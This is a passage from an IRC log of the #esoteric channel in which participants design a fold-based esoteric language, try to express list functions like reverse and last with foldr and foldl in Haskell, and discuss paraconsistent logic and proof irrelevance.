inside them is the function you fold on < 1268519104 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :With infinite lists maybe this is acceptable, just having < last until EOF < 1268519109 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Try it. < 1268519112 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, there's only one infinite list < 1268519130 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :necessary because you can't return an infinite list in finite time < 1268519149 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :< until EOF isn't obviously sub-TC, though < 1268519183 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: http://en.wikipedia.org/wiki/Paraconsistent_logic < 1268519183 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :go for it < 1268519191 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Exactly. < 1268519198 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Wait, how do you combine r and e? < 1268519204 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oh, is re cons r e? < 1268519212 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no, it's reverse-polish < 1268519215 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :re is a syntax error < 1268519219 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :re: is cons r e < 1268519229 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oh, I didn't see : < 1268519255 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and is foldl `cons` [] < 1268519257 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in other words, list reverse < 1268519261 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :" < 1268519288 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Can this be written without >? < 1268519294 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :not obviously < 1268519297 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Perhaps by accumulating something into the result then folding on that. < 1268519338 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: So you want me to talk, then you dismiss and ignore me? < 1268519343 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1268519346 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I think you have to grab the results of a calculation at the start of the next iteration of the main loop < 1268519350 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I didn't want to interrupt ais < 1268519359 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :we can interleave :) < 1268519362 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :or use /msg < 1268519364 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fax: this is IRC, if you can't have two conversations at the same time you aren't concentrating enough < 1268519374 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: ooh, nice < 1268519379 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but it has to be part of the main fold < 1268519385 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268519397 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :if we're having trouble just expressing first element of a list, this is either sub-tc or brilliantly TC < 1268519402 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and you have Confloddle's general issue with initialising < 1268519423 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the real problem here, is that insisting on using < but not > means that you can't get the return value from <> immediately < 1268519430 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you only get it in r on the next iteration of the loop < 1268519439 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268519447 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: http://en.wikipedia.org/wiki/Paraconsistent_logic#Relation_to_other_logics dual-intuitionistic logic may be a good place to steal things from < 1268519452 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but it has to be a proper language not just a logic < 1268519456 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1268519464 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: so basically we need < 1268519480 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :if we're done then , so why not for the main loop too? < 1268519758 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268519758 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so what does Xr: do < 1268519770 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :just that < 1268519770 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what list does it result in, using X as a var < 1268519789 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :[X | r] (prolog syntax) < 1268519801 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what is r < 1268519810 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :r is the result of the last iteration of the current <> < 1268519813 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ffff < 1268519815 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :just this program < 1268519816 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :on its own < 1268519816 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Xr: < 1268519821 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what result does it yield? < 1268519845 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, the main loop doesn't leave a result at all, but the value of r on each iteration goes [X] [X X] [X X X] and so on < 1268519871 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so if you can imagine you're using Proud or some other uncomputable lang to implement this, the return value is an infinite list of Xs < 1268519876 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but in a TC system, you never get that far < 1268519921 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oh, you could < 1268519926 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :consider haskell < 1268519929 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, you could optimise that case < 1268519931 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fix (1:) = [1,1,1,1,1,1,... < 1268519941 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, ooh, lazy evaluation? < 1268519942 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: ok, so r is {}? < 1268519949 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :at the start < 1268519952 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :r is initially a null list, yes < 1268519954 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :for any <> < 1268519957 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so the whole program is a fold, right < 1268519958 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so < 1268519959 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :er: < 1268519965 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what result does that yield < 1268519969 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :e and r are both {} < 1268519971 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so it should be {{}} < 1268519977 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so you should get {{{}}, {{}}, ... < 1268519978 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :right/ < 1268519978 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no, the entire program's implicitly in a <> < 1268519981 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*right? < 1268519987 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oh, good point < 1268519989 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so you get... < 1268519994 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :outside <> e and r have no meaning, but you can't be outside a <> < 1268519995 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :{ {{}, {}, {}, {}, ...} } < 1268519996 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I think < 1268520003 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no, because the return value is the final value of r < 1268520020 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there isn't a "final" one, but if there was, it would be [ [] [] [] [] [] ... ] < 1268520132 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so > < 1268520158 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes, I see that < 1268520164 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I bet we can use the main fold as storage for inner ones < 1268520168 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hmm... cons ought to be prefix < 1268520168 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in fact, that's obviously the only way to do practical non-> programs < 1268520171 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and so do I < 1268520172 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so we can do :xy<... < 1268520176 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1268520177 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric ::x<... < 1268520183 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I agree that prefix is much better than postfix in non-> programs < 1268520190 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :postfix would be better for non-< programs < 1268520196 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :also, just make it foldr and I think you can do laziness trivially < 1268520200 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and hey, a small syntax change doesn't matter if you're trying to tarpit something more < 1268520208 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, foldr is really laziness-hostile < 1268520214 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because it starts with the last element of a list < 1268520220 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and to determine that, you have to force it < 1268520249 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268520250 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :OTOH, foldl doesn't work too well either, because you have to force it to determine the final value of r < 1268520331 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: http://projecteuclid.org/DPubS/Repository/1.0/Disseminate?view=body&id=pdfview_1&handle=euclid.ndjfl/1039886520 < 1268520339 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: that is not what foldr is... < 1268520358 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, I see < 1268520365 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :foldr f x [e1,e2,e3,...] = f e1 (f e2 (f e3 x)) < 1268520369 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it works on infinite lists < 1268520373 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :unlike foldl < 1268520377 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :a lazy foldr, to determine the final r, you determine the final e and the penultimate r < 1268520382 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and the second can be left lazy < 1268520386 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :consider foldr (:) [] [1..] < 1268520391 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :-> (:) 1 ((:) 1 ... < 1268520396 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :-> [1,1,1,...] < 1268520399 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, I get it now < 1268520418 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :is cons and foldr TC, though? < 1268520422 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268520434 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :how do you, say, get the last element of a list? or the second? < 1268520439 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :getting the second seems easier < 1268520468 0 :Phantom_Hoover!unknown@unknown.invalid PART #esoteric :? < 1268520469 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Prelude> take 10 $ foldr (\n xs -> n : map succ xs) [] [1..] < 1268520470 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :[1,3,5,7,9,11,13,15,17,19] < 1268520477 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: btw foldr = foldl, they're implementable in terms of each other (lazily) < 1268520485 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :also, last element of a list with foldr... < 1268520495 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :not purely each other, surely, you need to mess with at least some other primitives? < 1268520502 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and if there's something confloddle is short of, it's primitives < 1268520521 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :first is < 1268520524 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: nope < 1268520525 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well < 1268520527 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :with cons and stuff < 1268520529 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :anyway < 1268520531 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :first elem is < 1268520536 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the "stuff" is the problem < 1268520541 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :first is , anyway, with foldr < 1268520545 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm... let's make it >e< < 1268520546 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :foldr' (\x _ -> x) [1,2,3] < 1268520550 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*foldr1 < 1268520552 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :different notation so it's clear that we're doing something different < 1268520553 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(not that that exists, but) < 1268520557 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :wait yes it does < 1268520563 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :although it's a -> a -> a ofc < 1268520566 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :which is upsettingly restricting < 1268520578 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but that doesn't concern you since yours is dynamically typed < 1268520578 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :foldr1 does exist in Haskell < 1268520579 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but < 1268520586 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :don't you want an initial value? < 1268520596 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :confloddle's is (foldl []) though < 1268520602 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :last element is < 1268520605 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :foldr1 (\x y -> y) < 1268520611 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(isn't that easy?) < 1268520619 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :alise_, did I mention that I'm considering making a Scheme? < 1268520620 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that's cheating < 1268520624 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :no it is not < 1268520625 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :foldr1 special-cases the last eleemnt < 1268520630 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :???? < 1268520635 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oh you are right < 1268520679 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :btw reverse is < 1268520684 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :foldr (\x y -> y ++ [x]) < 1268520698 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you can do head on that < 1268520713 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :sp < 1268520713 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so < 1268520727 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :foldr [] (\x _ -> x) . foldr [] (\x y -> y ++ [x]) < 1268520746 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that fails to type but whatever :) < 1268520750 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :the [] should be after < 1268520777 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Prelude> (foldr (\x _ -> x) [] . foldr (\x y -> y ++ [x]) []) [[1,2],[3,4]] < 1268520777 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :[3,4] < 1268520808 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I agree with that definition, but ++ looks hard to do in a foldr-version of confloddle (conflodder?) < 1268521510 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I did ++ < 1268521513 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :folr (\xs ys -> foldr (:) ys xs) [] < 1268521515 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*foldr < 1268521540 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I don't see how that works < 1268521545 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :how would you write that in conflodder? assuming > exists < 1268521547 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because the whole thing seems to only take one argument < 1268521556 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :[list1,list2] < 1268521572 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i.e. list1list2[]:: < 1268521586 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and it's hard to do easily, because there's no way to have a second arg to foldr of anything but [] < 1268521604 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in confloddle you can get around that by putting every element into a singleton list, and messing around with cons and last < 1268521607 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: try and make a logic-computation isomorphism for http://projecteuclid.org/DPubS/Repository/1.0/Disseminate?view=body&id=pdfview_1&handle=euclid.ndjfl/1039886520 < 1268521613 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so where statements in that are types; give them semantic values < 1268521623 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: So do that < 1268521686 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :as in, instead of [a b c] you have [[a] [b] [c]], then foldl x y z is the same as foldl (\r -> x (last (cons y r))) [] z < 1268521696 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I think, I may have got the arguments the wrong way round < 1268521712 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so do that :) < 1268521719 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you have circularitiy problems trying that trick with foldr, though, as you'd have to implement last first < 1268521735 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and the same trick doesn't work with first, unfortunately < 1268521751 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: http://projecteuclid.org/DPubS/Repository/1.0/Disseminate?view=body&id=pdfview_1&handle=euclid.ndjfl/1039886520 < 1268521751 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1268521760 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ugh < 1268521762 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :pdf doesn't allow copying < 1268521779 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: basically there's a dual-intuitionistic set theory that has russell's paradox but is consistent < 1268521785 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Hey, I implemented last. < 1268521795 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :thsat's cscrewad < 1268521798 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(foldr (\x _ -> x) [] . foldr (\x y -> y ++ [x]) []) < 1268521806 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: please learn to type :| < 1268521808 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :anyway do it! < 1268521810 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, but that's implemented in terms of ++ < 1268521817 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it will be fucking awesome to have computational dual-intuitionistic < 1268521823 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: ah :-D < 1268521825 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What does it mean for something to have Russell's paradox but be consistent... < 1268521834 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: it means it allows p & ~p < 1268521839 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :which is what paraconsistent logics do < 1268521842 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Oh. < 1268521865 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dual-intuitionistic logic is intuitionistic logic's goatee-sporting, paraconsistent twin < 1268521865 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the major issue with foldr is finding just some way to do a foldr1 or a foldr with non-[] second arg or last or ++ or, well, anything < 1268521884 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION defines fold f = foldr f [] to keep himself honest
< 1268521890 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I wonder if intuitionistic logic and paraconsistent logic are isomorphic somehow. < 1268521894 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: maybe you should have a better last thing than [] < 1268521901 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Paraconsistent logic is a class of logics. < 1268521909 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I can't think of anything obvious; maybe I should go at it Wolfram-style and just generate loads of Conflodder programs to see if any do last < 1268521915 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Intuitionistic logic's "opposite", dual-intuitionistic, is paraconsistent. < 1268521922 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION nods.
< 1268521986 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, does the Web have any proof databases that accept all and only valid proofs? < 1268521994 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Using an automatic proof verifier, of course. < 1268522000 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :metamath < 1268522024 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: < 1268522025 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268522025 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Prelude> fold (\xs ys -> fold (\xs' ys' -> (xs' : ys') ++ ys) xs) [[1,2],[3,4]] < 1268522026 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :[1,2,3,4,3,4] < 1268522030 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Can I simply submit a proof to Metamath and see it appear? < 1268522032 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it's incorrect and depends on ++ but I think I'm honing in on a solution < 1268522035 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I'll ask #haskell < 1268522036 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: no. < 1268522039 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax wants that < 1268522070 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I also want that. < 1268522083 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If fax is a programmer, maybe we can collaborate on getting that. < 1268522130 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax hates programming < 1268522133 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It's a project of mine though < 1268522137 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Metastruct < 1268522173 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's a project of yours? Neat. < 1268522205 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Yes. No work done yet, but... < 1268522208 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What programming language are you using, and what proof system are you using? < 1268522212 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :My own, my own. < 1268522222 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Same here. It's a project of mine with no work done. :P < 1268522233 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :#haskell seems a non-obvious place to ask for easolangs < 1268522235 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Well. The proof system (dependent language) will be written in Haskell and so will be the website, but... < 1268522235 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Except mine's called Kallipolis, written in Haskell, using Agda. < 1268522242 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Why not write it in Agda? < 1268522254 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. < 1268522261 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Agda doesn't have proof irrelevance < 1268522263 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :sucks to be you < 1268522270 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Proof irrelevance? < 1268522271 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: somewhat offtopic: "I object to this attempt to initiate an Emergency. Per rule 31 of the previous ruleset, the change to the gamestate that prevents us from making arbitrary rule changes is cancelled retroactively, and we're still in the BGora Era." < 1268522277 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :does that even work? < 1268522292 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Google it. < 1268522312 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: wat. < 1268522318 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hmm... idea < 1268522327 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Google's not giving much useful. < 1268522399 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :23:18 alise_: can you write reverse with foldl, then do a left fold (which is a right fold on the original), and then reverse again if you produced a list? < 1268522399 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :23:18 as in can you flip the arguments to cons? < 1268522403 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: in confludder < 1268522418 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So what's proof irrelevance? < 1268522425 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: that's how you do foldr in terms of foldl < 1268522429 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Didn't I tell you to google it? < 1268522432 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :rather than vice versa < 1268522445 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :alise_: yes, and I did Google it, and I came away with no impression of what it is. < 1268522527 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, is it the equality of all proofs of a statement? < 1268522534 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Yes. < 1268522536 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Agda doesn't even have equality testing. < 1268522539 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Yes it does. < 1268522544 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :See the standard library. < 1268522561 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Really? Huh. < 1268522570 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :data _===_ : {A:Set} -> (x:A) -> A -> Set where refl : x === x < 1268522584 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Use Coq or something else with proof irrelevance. < 1268522593 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :At least until they add it. < 1268522641 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Why is proof irrelevance so important? < 1268522674 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :because it simplifies a lot of stuff. < 1268522872 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :23:26 > let xs ++ ys = let f = foldl (flip (:)) in f (f [] xs) (f [] ys) in "abc " ++ "alise_" < 1268522873 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :23:26 "alise_ cba" < 1268522891 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :foldr fial < 1268522892 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*fail < 1268522994 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: for instance proof irrelevance makes equality nicer < 1268523107 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Maybe you can write a spec for your stuff and I can write it. < 1268523123 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I can do both because I hate collaborating :P < 1268523129 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1268523228 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :someone paste me the unicode mathematical [[ ]] chars :( < 1268523233 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :MATHEMATICAL LEFT WHITE BRACKET or something < 1268523356 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :⟦⟧ < 1268523367 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :took a while to find < 1268523374 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :thanks :P < 1268523378 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and it's MATHEMATICAL LEFT WHITE SQUARE BRACKET, etc, you were almost right < 1268523783 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :We use G ? ?, to denote that if we reject all formulas of G, we have to reject the formula ?. < 1268523788 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ufg < 1268523789 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ugh < 1268523798 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :X -| Y < 1268523803 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :X < 1268523804 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Y < 1268523826 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: 